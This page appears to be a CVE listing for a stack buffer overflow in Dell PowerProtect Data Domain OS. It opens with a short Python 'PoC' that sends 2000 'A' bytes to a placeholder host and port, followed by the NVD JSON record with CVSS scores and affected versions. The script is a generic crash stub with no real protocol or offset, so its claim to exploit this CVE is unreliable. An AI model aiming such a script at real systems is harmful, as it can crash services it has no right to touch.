CVE-2026-26354

import socket import sys # PoC for CVE-2026-26354 (Stack-based Buffer Overflow) # Note: This is a generic demonstration. Actual ports and protocol specifics require reverse engineering. def exploit(target_ip, target_port): try: # Constructing a payload larger than expected buffer size # Buffer size and offset need to be adjusted based on debugging crash_payload = b"A" * 2000 print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload to trigger overflow...") s.send(crash_payload) print("[*] Payload sent. Check for crash or shell.") s.close() except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target details target = "192.168.1.10" port = 8080 # Example port exploit(target, port)

{"cve": {"id": "CVE-2026-26354", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:00.677", "lastModified": "2026-04-27T17:09:11.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.6, LTS2025 release version 8.3.1.0 through 8.3.1.10, LTS2024 release versions 7.13.1.0 through 7.13.1.60, contain a stack-based Buffer Overflow vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerprotect_dp_series_appliance:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.9", "matchCriteriaId": "9AD58029-9254-43B4-8CD0-3E5B90B3233B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.13.1.60", "matchCriteriaId": "68BD5D44-CCCB-4DD4-87F8-92D2D24CAB02"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.14.0.0", "versionEndExcluding": "8.3.1.20", "matchCriteriaId": "A4DF3D77-ACB0-4780-9A26-6EA21903521E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0.0", "versionEndExcluding": "8.6.1.10", "matchCriteriaId": "6874623C-4D85-418E-AB95-6AE72CC981F2"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000450699/dsa-2026-060-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}